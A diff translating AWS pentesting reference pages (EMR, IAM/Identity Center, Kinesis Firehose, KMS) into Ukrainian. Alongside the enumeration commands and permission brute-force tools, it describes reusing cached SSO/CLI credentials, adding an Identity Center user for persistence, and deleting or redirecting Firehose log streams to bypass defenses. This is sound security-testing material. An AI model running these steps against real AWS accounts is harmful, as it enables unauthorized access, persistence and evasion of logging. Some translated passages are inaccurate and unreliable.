посилаються з S3-кошика. +- **Користувацький**: Включає додавання користувацького класу Java як постачальника сертифікатів, який постачає артефакти шифрування. -Once a TLS certificate provider is integrated into the security configuration, the following application-specific encryption features can be activated, varying based on the EMR version: +Після інтеграції постачальника сертифікатів TLS у конфігурацію безпеки можна активувати наступні специфічні для застосування функції шифрування, які варіюються в залежності від версії EMR: - **Hadoop**: - - Might reduce encrypted shuffle using TLS. - - Secure Hadoop RPC with Simple Authentication Security Layer and HDFS Block Transfer with AES-256 are activated with at-rest encryption. -- **Presto** (EMR version 5.6.0+): - - Internal communication between Presto nodes is secured using SSL and TLS. +- Може зменшити зашифрований shuffle, використовуючи TLS. +- Захищений Hadoop RPC з Simple Authentication Security Layer та HDFS Block Transfer з AES-256 активуються з шифруванням в спокої. +- **Presto** (версія EMR 5.6.0+): +- Внутрішня комунікація між вузлами Presto захищена за допомогою SSL та TLS. - **Tez Shuffle Handler**: - - Utilizes TLS for encryption. +- Використовує TLS для шифрування. - **Spark**: - - Employs TLS for the Akka protocol. - - Uses Simple Authentication Security Layer and 3DES for Block Transfer Service. - - External shuffle service is secured with the Simple Authentication Security Layer. +- Використовує TLS для протоколу Akka. +- Використовує Simple Authentication Security Layer та 3DES для служби передачі блоків. +- Зовнішня служба shuffle захищена за допомогою Simple Authentication Security Layer. -These features collectively enhance the security posture of EMR clusters, especially concerning data protection during storage and transmission phases. +Ці функції колективно покращують безпеку кластерів EMR, особливо щодо захисту даних під час зберігання та передачі. #### Enumeration - ```bash aws emr list-clusters aws emr describe-cluster --cluster-id @@ -46,19 +45,14 @@ aws emr list-notebook-executions aws emr list-security-configurations aws emr list-studios #Get studio URLs ``` - #### Privesc {{#ref}} ../aws-privilege-escalation/aws-emr-privesc.md {{#endref}} -## References +## Посилання - [https://cloudacademy.com/course/domain-three-designing-secure-applications-and-architectures/elastic-mapreduce-emr-encryption-1/](https://cloudacademy.com/course/domain-three-designing-secure-applications-and-architectures/elastic-mapreduce-emr-encryption-1/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md index 7a430cc17..fc8831ac5 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md @@ -1,20 +1,20 @@ -# AWS - IAM, Identity Center & SSO Enum +# AWS - IAM, Центр ідентифікації та SSO Enum {{#include ../../../banners/hacktricks-training.md}} ## IAM -You can find a **description of IAM** in: +Ви можете знайти **опис IAM** в: {{#ref}} ../aws-basic-information/ {{#endref}} -### Enumeration +### Перерахування -Main permissions needed: +Основні дозволи, які потрібні: -- `iam:ListPolicies`, `iam:GetPolicy` and `iam:GetPolicyVersion` +- `iam:ListPolicies`, `iam:GetPolicy` та `iam:GetPolicyVersion` - `iam:ListRoles` - `iam:ListUsers` - `iam:ListGroups` @@ -22,10 +22,9 @@ Main permissions needed: - `iam:ListAttachedUserPolicies` - `iam:ListAttachedRolePolicies` - `iam:ListAttachedGroupPolicies` -- `iam:ListUserPolicies` and `iam:GetUserPolicy` -- `iam:ListGroupPolicies` and `iam:GetGroupPolicy` -- `iam:ListRolePolicies` and `iam:GetRolePolicy` - +- `iam:ListUserPolicies` та `iam:GetUserPolicy` +- `iam:ListGroupPolicies` та `iam:GetGroupPolicy` +- `iam:ListRolePolicies` та `iam:GetRolePolicy` ```bash # All IAMs ## Retrieves information about all IAM users, groups, roles, and policies @@ -89,64 +88,54 @@ aws iam get-account-password-policy aws iam list-mfa-devices aws iam list-virtual-mfa-devices ``` - ### Permissions Brute Force -If you are interested in your own permissions but you don't have access to query IAM you could always brute-force them. +Якщо вас цікавлять ваші власні дозволи, але у вас немає доступу для запиту IAM, ви завжди можете їх брутфорсити. #### bf-aws-permissions -The tool [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) is just a bash script that will run using the indicated profile all the **`list*`, `describe*`, `get*`** actions it can find using `aws` cli help messages and **return the successful executions**. - +Інструмент [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) - це просто bash-скрипт, який буде виконувати всі **`list*`, `describe*`, `get*`** дії, які він може знайти, використовуючи повідомлення допомоги `aws` cli, і **повертати успішні виконання**. ```bash # Bruteforce permissions bash bf-aws-permissions.sh -p default > /tmp/bf-permissions-verbose.txt ``` - #### bf-aws-perms-simulate -The tool [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate) can find your current permission (or the ones of other principals) if you have the permission **`iam:SimulatePrincipalPolicy`** - +Інструмент [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate) може знайти ваші поточні дозволи (або дозволи інших суб'єктів), якщо у вас є дозвіл **`iam:SimulatePrincipalPolicy`** ```bash # Ask for permissions python3 aws_permissions_checker.py --profile [--arn ] ``` - #### Perms2ManagedPolicies -If you found **some permissions your user has**, and you think that they are being granted by a **managed AWS role** (and not by a custom one). You can use the tool [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) to check all the **AWS managed roles that grants the permissions you discovered that you have**. - +Якщо ви знайшли **деякі дозволи, які має ваш користувач**, і вважаєте, що вони надаються **керованою роллю AWS** (а не кастомною). Ви можете використовувати інструмент [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies), щоб перевірити всі **керовані ролі AWS, які надають дозволи, які ви виявили, що маєте**. ```bash # Run example with my profile python3 aws-Perms2ManagedPolicies.py --profile myadmin --permissions-file example-permissions.txt ``` - > [!WARNING] -> It's possible to "know" if the permissions you have are granted by an AWS managed role if you see that **you have permissions over services that aren't used** for example. +> Можливо "знати", чи надані вам дозволи через керовану роль AWS, якщо ви бачите, що **у вас є дозволи на сервіси, які не використовуються**, наприклад. #### Cloudtrail2IAM -[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) is a Python tool that analyses **AWS CloudTrail logs to extract and summarize actions** done by everyone or just an specific user or role. The tool will **parse every cloudtrail log from the indicated bucket**. - +[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) - це інструмент на Python, який аналізує **журнали AWS CloudTrail для витягування та узагальнення дій**, виконаних усіма або лише конкретним користувачем чи роллю. Інструмент **розпарсить кожен журнал cloudtrail з вказаного бакету**. ```bash git clone https://github.com/carlospolop/Cloudtrail2IAM cd Cloudtrail2IAM pip install -r requirements.txt python3 cloudtrail2IAM.py --prefix PREFIX --bucket_name BUCKET_NAME --profile PROFILE [--filter-name FILTER_NAME] [--threads THREADS] ``` - > [!WARNING] -> If you find .tfstate (Terraform state files) or CloudFormation files (these are usually yaml files located inside a bucket with the prefix cf-templates), you can also read them to find aws configuration and find which permissions have been assigned to who. +> Якщо ви знайдете .tfstate (файли стану Terraform) або файли CloudFormation (це зазвичай файли yaml, розташовані в бакеті з префіксом cf-templates), ви також можете їх прочитати, щоб знайти конфігурацію aws і дізнатися, які дозволи були надані кому. #### enumerate-iam -To use the tool [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam) you first need to download all the API AWS endpoints, from those the script **`generate_bruteforce_tests.py`** will get all the **"list\_", "describe\_", and "get\_" endpoints.** And finally, it will try to **access them** with the given credentials and **indicate if it worked**. +Щоб використовувати інструмент [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam), спочатку потрібно завантажити всі API AWS кінцеві точки, з яких скрипт **`generate_bruteforce_tests.py`** отримає всі **"list\_", "describe\_", і "get\_" кінцеві точки.** І, нарешті, він спробує **доступитися до них** з наданими обліковими даними і **вказати, чи спрацювало**. -(In my experience the **tool hangs at some point**, [**checkout this fix**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) to try to fix that). +(На моєму досвіді **інструмент зависає в деякий момент**, [**перевірте це виправлення**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c), щоб спробувати це виправити). > [!WARNING] -> In my experience this tool is like the previous one but working worse and checking less permissions - +> На моєму досвіді цей інструмент схожий на попередній, але працює гірше і перевіряє менше дозволів. ```bash # Install tool git clone git@github.com:andresriancho/enumerate-iam.git @@ -163,11 +152,9 @@ cd .. # Enumerate permissions python3 enumerate-iam.py --access-key ACCESS_KEY --secret-key SECRET_KEY [--session-token SESSION_TOKEN] [--region REGION] ``` - #### weirdAAL -You could also use the tool [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki). This tool will check **several common operations on several common services** (will check some enumeration permissions and also some privesc permissions). But it will only check the coded checks (the only way to check more stuff if coding more tests). - +Ви також можете використовувати інструмент [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki). Цей інструмент перевірить **декілька загальних операцій на декількох загальних сервісах** (перевірить деякі дозволи на перерахування, а також деякі дозволи на підвищення привілеїв). Але він перевірить лише закодовані перевірки (єдиний спосіб перевірити більше - це написати більше тестів). ```bash # Install git clone https://github.com/carnal0wnage/weirdAAL.git @@ -191,12 +178,10 @@ python3 weirdAAL.py -m recon_all -t MyTarget # Check all permissions # [+] elbv2 Actions allowed are [+] # ['DescribeLoadBalancers', 'DescribeAccountLimits', 'DescribeTargetGroups'] ``` - -#### Hardening Tools to BF permissions +#### Ускладнення інструментів для BF дозволів {{#tabs }} {{#tab name="CloudSploit" }} - ```bash # Export env variables ./index.js --console=text --config ./config.js --json /tmp/out-cloudsploit.json @@ -207,11 +192,9 @@ jq 'map(select(.status | contains("UNKNOWN") | not))' /tmp/out-cloudsploit.json # Get services by regions jq 'group_by(.region) | map({(.[0].region): ([map((.resource | split(":"))[2]) | unique])})' ~/Desktop/pentests/cere/greybox/core-dev-dev-cloudsploit-filtered.json ``` - {{#endtab }} {{#tab name="SteamPipe" }} - ```bash # https://github.com/turbot/steampipe-mod-aws-insights steampipe check all --export=json @@ -220,50 +203,48 @@ steampipe check all --export=json # In this case you cannot output to JSON, so heck it in the dashboard steampipe dashboard ``` - {{#endtab }} {{#endtabs }} #### \ -Neither of the previous tools is capable of checking close to all permissions, so if you know a better tool send a PR! +Жоден з попередніх інструментів не здатний перевірити майже всі дозволи, тому якщо ви знаєте кращий інструмент, надішліть PR! -### Unauthenticated Access +### Неавтентифікований доступ {{#ref}} ../aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md {{#endref}} -### Privilege Escalation +### Підвищення привілеїв -In the following page you can check how to **abuse IAM permissions to escalate privileges**: +На наступній сторінці ви можете перевірити, як **зловживати дозволами IAM для підвищення привілеїв**: {{#ref}} ../aws-privilege-escalation/aws-iam-privesc.md {{#endref}} -### IAM Post Exploitation +### IAM Після експлуатації {{#ref}} ../aws-post-exploitation/aws-iam-post-exploitation.md {{#endref}} -### IAM Persistence +### IAM Постійність {{#ref}} ../aws-persistence/aws-iam-persistence.md {{#endref}} -## IAM Identity Center +## IAM Центр ідентичності -You can find a **description of IAM Identity Center** in: +Ви можете знайти **опис IAM Центру ідентичності** в: {{#ref}} ../aws-basic-information/ {{#endref}} -### Connect via SSO with CLI - +### Підключення через SSO з CLI ```bash # Connect with sso via CLI aws configure sso aws configure sso @@ -274,20 +255,18 @@ sso_account_id = sso_role_name = AdministratorAccess sso_region = us-east-1 ``` - ### Enumeration -The main elements of the Identity Center are: +Основні елементи Центру ідентичності: -- Users and groups -- Permission Sets: Have policies attached -- AWS Accounts +- Користувачі та групи +- Набори дозволів: Мають прикріплені політики +- Облікові записи AWS -Then, relationships are created so users/groups have Permission Sets over AWS Account. +Потім створюються відносини, щоб користувачі/групи мали Набори дозволів над Обліковим записом AWS. > [!NOTE] -> Note that there are 3 ways to attach policies to a Permission Set. Attaching AWS managed policies, Customer managed policies (these policies needs to be created in all the accounts the Permissions Set is affecting), and inline policies (defined in there). - +> Зверніть увагу, що є 3 способи прикріплення політик до Набору дозволів. Прикріплення керованих політик AWS, політик, керованих замовником (ці політики потрібно створити в усіх облікових записах, на які впливають Набори дозволів), і вбудованих політик (визначених там). ```bash # Check if IAM Identity Center is used aws sso-admin list-instances @@ -321,11 +300,9 @@ aws identitystore list-group-memberships --identity-store-id --group- ## Get memberships or a user or a group aws identitystore list-group-memberships-for-member --identity-store-id --member-id ``` - ### Local Enumeration -It's possible to create inside the folder `$HOME/.aws` the file config to configure profiles that are accessible via SSO, for example: - +Можливо створити всередині папки `$HOME/.aws` файл config для налаштування профілів, які доступні через SSO, наприклад: ```ini [default] region = us-west-2 @@ -343,20 +320,16 @@ output = json role_arn = arn:aws:iam:::role/ReadOnlyRole source_profile = Hacktricks-Admin ``` - -This configuration can be used with the commands: - +Ця конфігурація може бути використана з командами: ```bash # Login in ms-sso-profile aws sso login --profile my-sso-profile # Use dependent-profile aws s3 ls --profile dependent-profile ``` +Коли **профіль з SSO використовується** для доступу до деякої інформації, облікові дані **кешуються** у файлі всередині папки **`$HOME/.aws/sso/cache`**. Тому їх можна **читати та використовувати звідти**. -When a **profile from SSO is used** to access some information, the credentials are **cached** in a file inside the folder **`$HOME/.aws/sso/cache`**. Therefore they can be **read and used from there**. - -Moreover, **more credentials** can be stored in the folder **`$HOME/.aws/cli/cache`**. This cache directory is primarily used when you are **working with AWS CLI profiles** that use IAM user credentials or **assume** roles through IAM (without SSO). Config example: - +Більше того, **більше облікових даних** можна зберігати в папці **`$HOME/.aws/cli/cache`**. Ця директорія кешу в основному використовується, коли ви **працюєте з профілями AWS CLI**, які використовують облікові дані користувача IAM або **припускають** ролі через IAM (без SSO). Приклад конфігурації: ```ini [profile crossaccountrole] role_arn = arn:aws:iam::234567890123:role/SomeRole @@ -364,43 +337,36 @@ source_profile = default mfa_serial = arn:aws:iam::123456789012:mfa/saanvi external_id = 123456 ``` - -### Unauthenticated Access +### Неавтентифікований доступ {{#ref}} ../aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md {{#endref}} -### Privilege Escalation +### Підвищення привілеїв {{#ref}} ../aws-privilege-escalation/aws-sso-and-identitystore-privesc.md {{#endref}} -### Post Exploitation +### Після експлуатації {{#ref}} ../aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md {{#endref}} -### Persistence - -#### Create a user an assign permissions to it +### Постійність +#### Створити користувача та призначити йому дозволи ```bash # Create user identitystore:CreateUser aws identitystore create-user --identity-store-id --user-name privesc --display-name privesc --emails Value=sdkabflvwsljyclpma@tmmbt.net,Type=Work,Primary=True --name Formatted=privesc,FamilyName=privesc,GivenName=privesc ## After creating it try to login in the console using the selected username, you will receive an email with the code and then you will be able to select a password ``` +- Створіть групу та призначте їй дозволи, а також встановіть контрольованого користувача +- Надати додаткові дозволи контрольованому користувачу або групі +- За замовчуванням лише користувачі з дозволами з Облікового запису управління зможуть отримати доступ і контролювати IAM Identity Center. -- Create a group and assign it permissions and set on it a controlled user -- Give extra permissions to a controlled user or group -- By default, only users with permissions form the Management Account are going to be able to access and control the IAM Identity Center. - - However, it's possible via Delegate Administrator to allow users from a different account to manage it. They won't have exactly the same permission, but they will be able to perform [**management activities**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html). +Однак, за допомогою Делегованого адміністратора можна дозволити користувачам з іншого облікового запису керувати ним. Вони не матимуть точно таких же дозволів, але зможуть виконувати [**управлінські дії**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html). {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md index 6ca66b5ed..c86d88bda 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md @@ -4,12 +4,11 @@ ## Kinesis Data Firehose -Amazon Kinesis Data Firehose is a **fully managed service** that facilitates the delivery of **real-time streaming data**. It supports a variety of destinations, including Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk, and custom HTTP endpoints. +Amazon Kinesis Data Firehose є **повністю керованим сервісом**, який полегшує доставку **даних потокового відео в реальному часі**. Він підтримує різноманітні цілі, включаючи Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk та користувацькі HTTP-ендоінти. -The service alleviates the need for writing applications or managing resources by allowing data producers to be configured to forward data directly to Kinesis Data Firehose. This service is responsible for the **automatic delivery of data to the specified destination**. Additionally, Kinesis Data Firehose provides the option to **transform the data prior to its delivery**, enhancing its flexibility and applicability to various use cases. +Сервіс усуває необхідність у написанні додатків або управлінні ресурсами, дозволяючи виробникам даних бути налаштованими для прямої передачі даних до Kinesis Data Firehose. Цей сервіс відповідає за **автоматичну доставку даних до вказаного місця призначення**. Крім того, Kinesis Data Firehose надає можливість **трансформувати дані перед їх доставкою**, підвищуючи його гнучкість та застосовність до різних випадків використання. ### Enumeration - ```bash # Get delivery streams aws firehose list-delivery-streams @@ -19,37 +18,26 @@ aws firehose describe-delivery-stream --delivery-stream-name ## Get roles aws firehose describe-delivery-stream --delivery-stream-name | grep -i RoleARN ``` +## Пост-експлуатація / Обхід захисту -## Post-exploitation / Defense Bypass - -In case firehose is used to send logs or defense insights, using these functionalities an attacker could prevent it from working properly. +У випадку, якщо firehose використовується для надсилання журналів або інсайтів захисту, використовуючи ці функції, зловмисник може запобігти його належній роботі. ### firehose:DeleteDeliveryStream - ``` aws firehose delete-delivery-stream --delivery-stream-name --allow-force-delete ``` - ### firehose:UpdateDestination - ``` aws firehose update-destination --delivery-stream-name --current-delivery-stream-version-id --destination-id ``` - ### firehose:PutRecord | firehose:PutRecordBatch - ``` aws firehose put-record --delivery-stream-name my-stream --record '{"Data":"SGVsbG8gd29ybGQ="}' aws firehose put-record-batch --delivery-stream-name my-stream --records file://records.json ``` - -## References +## Посилання - [https://docs.amazonaws.cn/en_us/firehose/latest/dev/what-is-this-service.html](https://docs.amazonaws.cn/en_us/firehose/latest/dev/what-is-this-service.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md index 543ed31cd..8d28645a9 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md @@ -2,128 +2,125 @@ {{#include ../../../banners/hacktricks-training.md}} -## KMS - Key Management Service +## KMS - Служба управління ключами -AWS Key Management Service (AWS KMS) is presented as a managed service, simplifying the process for users to **create and manage customer master keys** (CMKs). These CMKs are integral in the encryption of user data. A notable feature of AWS KMS is that CMKs are predominantly **secured by hardware security modules** (HSMs), enhancing the protection of the encryption keys. +AWS Служба управління ключами (AWS KMS) представлена як керована служба, що спрощує процес для користувачів **створювати та керувати основними ключами клієнта** (CMK). Ці CMK є невід'ємною частиною шифрування даних користувачів. Помітною особливістю AWS KMS є те, що CMK переважно **захищені апаратними модулями безпеки** (HSM), що підвищує захист шифрувальних ключів. -KMS uses **symmetric cryptography**. This is used to **encrypt information as rest** (for example, inside a S3). If you need to **encrypt information in transit** you need to use something like **TLS**. +KMS використовує **симетричну криптографію**. Це використовується для **шифрування інформації в спокої** (наприклад, всередині S3). Якщо вам потрібно **шифрувати інформацію в русі**, вам потрібно використовувати щось на зразок **TLS**. -KMS is a **region specific service**. +KMS є **сервісом, специфічним для регіону**. -**Administrators at Amazon do not have access to your keys**. They cannot recover your keys and they do not help you with encryption of your keys. AWS simply administers the operating system and the underlying application it's up to us to administer our encryption keys and administer how those keys are used. +**Адміністратори Amazon не мають доступу до ваших ключів**. Вони не можуть відновити ваші ключі і не допомагають вам з шифруванням ваших ключів. AWS просто адмініструє операційну систему та основний додаток, а нам потрібно адмініструвати наші шифрувальні ключі та контролювати, як ці ключі використовуються. -**Customer Master Keys** (CMK): Can encrypt data up to 4KB in size. They are typically used to create, encrypt, and decrypt the DEKs (Data Encryption Keys). Then the DEKs are used to encrypt the data. +**Основні ключі клієнта** (CMK): Можуть шифрувати дані розміром до 4KB. Вони зазвичай використовуються для створення, шифрування та дешифрування DEK (Ключі шифрування даних). Потім DEK використовуються для шифрування даних. -A customer master key (CMK) is a logical representation of a master key in AWS KMS. In addition to the master key's identifiers and other metadata, including its creation date, description, and key state, a **CMK contains the key material which used to encrypt and decrypt data**. When you create a CMK, by default, AWS KMS generates the key material for that CMK. However, you can choose to create a CMK without key material and then import your own key material into that CMK. +Основний ключ клієнта (CMK) є логічним представленням основного ключа в AWS KMS. На додаток до ідентифікаторів основного ключа та іншої метаданих, включаючи дату створення, опис та стан ключа, **CMK містить матеріал ключа, який використовується для шифрування та дешифрування даних**. Коли ви створюєте CMK, за замовчуванням AWS KMS генерує матеріал ключа для цього CMK. Однак ви можете вибрати створити CMK без матеріалу ключа, а потім імпортувати свій власний матеріал ключа в цей CMK. -There are 2 types of master keys: +Існує 2 типи основних ключів: -- **AWS managed CMKs: Used by other services to encrypt data**. It's used by the service that created it in a region. They are created the first time you implement the encryption in that service. Rotates every 3 years and it's not possible to change it. -- **Customer manager CMKs**: Flexibility, rotation, configurable access and key policy. Enable and disable keys. +- **CMK, керовані AWS: Використовуються іншими службами для шифрування даних**. Вони використовуються службою, яка їх створила в регіоні. Вони створюються перший раз, коли ви реалізуєте шифрування в цій службі. Обертаються кожні 3 роки, і їх неможливо змінити. +- **CMK, керовані клієнтом**: Гнучкість, обертання, налаштовуваний доступ і політика ключів. Увімкнення та вимкнення ключів. -**Envelope Encryption** in the context of Key Management Service (KMS): Two-tier hierarchy system to **encrypt data with data key and then encrypt data key with master key**. +**Шифрування конвертів** в контексті Служби управління ключами (KMS): Двоярусна ієрархічна система для **шифрування даних за допомогою ключа даних, а потім шифрування ключа даних за допомогою основного ключа**. -### Key Policies +### Політики ключів -These defines **who can use and access a key in KMS**. +Ці політики визначають **хто може використовувати та отримувати доступ до ключа в KMS**. -By **default:** +За **замовчуванням:** -- It gives the **IAM of the** **AWS account that owns the KMS key access** to manage the access to the KMS key via IAM. +- Вона надає **IAM облікового запису AWS, який володіє ключем KMS доступ** для управління доступом до ключа KMS через IAM. - Unlike other AWS resource policies, a AWS **KMS key policy does not automatically give permission any of the principals of the account**. To give permission to account administrators, the **key policy must include an explicit statement** that provides this permission, like this one. +На відміну від інших політик ресурсів AWS, політика **ключа KMS не надає автоматично дозволу жодному з принципалів облікового запису**. Щоб надати дозвіл адміністраторам облікового запису, **політика ключа повинна містити явну заяву**, яка надає цей дозвіл, як ця. - - Without allowing the account(`"AWS": "arn:aws:iam::111122223333:root"`) IAM permissions won't work. +- Без дозволу облікового запису(`"AWS": "arn:aws:iam::111122223333:root"`) дозволи IAM не працюватимуть. -- It **allows the account to use IAM policies** to allow access to the KMS key, in addition to the key policy. +- Це **дозволяє обліковому запису використовувати політики IAM** для надання доступу до ключа KMS, на додаток до політики ключа. - **Without this permission, IAM policies that allow access to the key are ineffective**, although IAM policies that deny access to the key are still effective. +**Без цього дозволу політики IAM, які дозволяють доступ до ключа, є неефективними**, хоча політики IAM, які забороняють доступ до ключа, все ще є ефективними. -- It **reduces the risk of the key becoming unmanageable** by giving access control permission to the account administrators, including the account root user, which cannot be deleted. - -**Default policy** example: +- Це **зменшує ризик того, що ключ стане некерованим**, надаючи дозвіл на контроль доступу адміністраторам облікового запису, включаючи кореневого користувача облікового запису, якого не можна видалити. +**Приклад політики за замовчуванням**: ```json { - "Sid": "Enable IAM policies", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::111122223333:root" - }, - "Action": "kms:*", - "Resource": "*" +"Sid": "Enable IAM policies", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::111122223333:root" +}, +"Action": "kms:*", +"Resource": "*" } ``` - > [!WARNING] -> If the **account is allowed** (`"arn:aws:iam::111122223333:root"`) a **principal** from the account **will still need IAM permissions** to use the KMS key. However, if the **ARN** of a role for example is **specifically allowed** in the **Key Policy**, that role **doesn't need IAM permissions**. +> Якщо **обліковому запису дозволено** (`"arn:aws:iam::111122223333:root"`), **суб'єкт** з облікового запису **все ще потребуватиме IAM дозволів** для використання KMS ключа. Однак, якщо **ARN** ролі, наприклад, **конкретно дозволено** в **Політиці ключа**, ця роль **не потребує IAM дозволів**.
-Policy Details +Деталі політики -Properties of a policy: +Властивості політики: -- JSON based document -- Resource --> Affected resources (can be "\*") -- Action --> kms:Encrypt, kms:Decrypt, kms:CreateGrant ... (permissions) -- Effect --> Allow/Deny -- Principal --> arn affected -- Conditions (optional) --> Condition to give the permissions +- Документ на основі JSON +- Ресурс --> Підлягаючі ресурси (може бути "\*") +- Дія --> kms:Encrypt, kms:Decrypt, kms:CreateGrant ... (дозволи) +- Ефект --> Дозволити/Заборонити +- Суб'єкт --> arn, що підлягає +- Умови (необов'язково) --> Умова для надання дозволів -Grants: +Гранти: -- Allow to delegate your permissions to another AWS principal within your AWS account. You need to create them using the AWS KMS APIs. It can be indicated the CMK identifier, the grantee principal and the required level of opoeration (Decrypt, Encrypt, GenerateDataKey...) -- After the grant is created a GrantToken and a GratID are issued +- Дозволяє делегувати ваші дозволи іншому AWS суб'єкту у вашому обліковому записі AWS. Вам потрібно створити їх за допомогою AWS KMS API. Можна вказати ідентифікатор CMK, суб'єкт гранту та необхідний рівень операції (Decrypt, Encrypt, GenerateDataKey...) +- Після створення гранту видаються GrantToken та GrantID -**Access**: +**Доступ**: -- Via **key policy** -- If this exist, this takes **precedent** over the IAM policy -- Via **IAM policy** -- Via **grants** +- Через **політику ключа** -- Якщо це існує, це має **пріоритет** над політикою IAM +- Через **політику IAM** +- Через **гранти**
-### Key Administrators +### Адміністратори ключів -Key administrator by default: +Адміністратори ключів за замовчуванням: -- Have access to manage KMS but not to encrypt or decrypt data -- Only IAM users and roles can be added to Key Administrators list (not groups) -- If external CMK is used, Key Administrators have the permission to import key material +- Мають доступ для управління KMS, але не для шифрування або дешифрування даних +- Тільки користувачі та ролі IAM можуть бути додані до списку Адміністраторів ключів (не групи) +- Якщо використовується зовнішній CMK, Адміністратори ключів мають дозвіл на імпорт матеріалів ключа -### Rotation of CMKs +### Ротація CMK -- The longer the same key is left in place, the more data is encrypted with that key, and if that key is breached, then the wider the blast area of data is at risk. In addition to this, the longer the key is active, the probability of it being breached increases. -- **KMS rotate customer keys every 365 days** (or you can perform the process manually whenever you want) and **keys managed by AWS every 3 years** and this time it cannot be changed. -- **Older keys are retained** to decrypt data that was encrypted prior to the rotation -- In a break, rotating the key won't remove the threat as it will be possible to decrypt all the data encrypted with the compromised key. However, the **new data will be encrypted with the new key**. -- If **CMK** is in state of **disabled** or **pending** **deletion**, KMS will **not perform a key rotation** until the CMK is re-enabled or deletion is cancelled. +- Чим довше той самий ключ залишається на місці, тим більше даних шифрується цим ключем, і якщо цей ключ буде зламано, то ширша зона ризику даних. Крім того, чим довше ключ активний, тим більше ймовірність його зламу. +- **KMS ротує ключі клієнтів кожні 365 днів** (або ви можете виконати процес вручну, коли захочете) і **ключі, що керуються AWS, кожні 3 роки**, і цього разу змінити не можна. +- **Старі ключі зберігаються** для дешифрування даних, які були зашифровані до ротації +- У разі зламу, ротація ключа не усуне загрозу, оскільки буде можливість дешифрувати всі дані, зашифровані зламаним ключем. Однак, **нові дані будуть зашифровані новим ключем**. +- Якщо **CMK** знаходиться в стані **вимкнено** або **в очікуванні** **видалення**, KMS **не виконає ротацію ключа**, поки CMK не буде повторно активовано або видалення не буде скасовано. -#### Manual rotation +#### Ручна ротація -- A **new CMK needs to be created**, then, a new CMK-ID is created, so you will need to **update** any **application** to **reference** the new CMK-ID. -- To do this process easier you can **use aliases to refer to a key-id** and then just update the key the alias is referring to. -- You need to **keep old keys to decrypt old files** encrypted with it. +- Потрібно **створити новий CMK**, потім створюється новий CMK-ID, тому вам потрібно буде **оновити** будь-яку **застосунок**, щоб **посилатися** на новий CMK-ID. +- Щоб спростити цей процес, ви можете **використовувати псевдоніми для посилання на key-id** і потім просто оновити ключ, на який посилається псевдонім. +- Вам потрібно **зберігати старі ключі для дешифрування старих файлів**, зашифрованих з їх допомогою. -You can import keys from your on-premises key infrastructure . +Ви можете імпортувати ключі з вашої локальної інфраструктури ключів. -### Other relevant KMS information +### Інша релевантна інформація KMS -KMS is priced per number of encryption/decryption requests received from all services per month. +KMS оцінюється за кількістю запитів на шифрування/дешифрування, отриманих від усіх служб за місяць. -KMS has full audit and compliance **integration with CloudTrail**; this is where you can audit all changes performed on KMS. +KMS має повну аудиторську та комплаєнс **інтеграцію з CloudTrail**; тут ви можете перевірити всі зміни, виконані в KMS. -With KMS policy you can do the following: +З політикою KMS ви можете зробити наступне: -- Limit who can create data keys and which services have access to use these keys -- Limit systems access to encrypt only, decrypt only or both -- Define to enable systems to access keys across regions (although it is not recommended as a failure in the region hosting KMS will affect availability of systems in other regions). +- Обмежити, хто може створювати ключі даних і які служби мають доступ до використання цих ключів +- Обмежити доступ систем до шифрування лише, дешифрування лише або обидва +- Визначити, щоб системи могли отримувати доступ до ключів через регіони (хоча це не рекомендується, оскільки збій у регіоні, що хостить KMS, вплине на доступність систем в інших регіонах). -You cannot synchronize or move/copy keys across regions; you can only define rules to allow access across region. - -### Enumeration +Ви не можете синхронізувати або переміщати/копіювати ключі між регіонами; ви можете лише визначити правила для дозволу доступу через регіони. +### Перерахування ```bash aws kms list-keys aws kms list-key-policies --key-id @@ -132,7 +129,6 @@ aws kms describe-key --key-id aws kms get-key-policy --key-id --policy-name # Default policy name is "default" aws kms describe-custom-key-stores ``` - ### Privesc {{#ref}} @@ 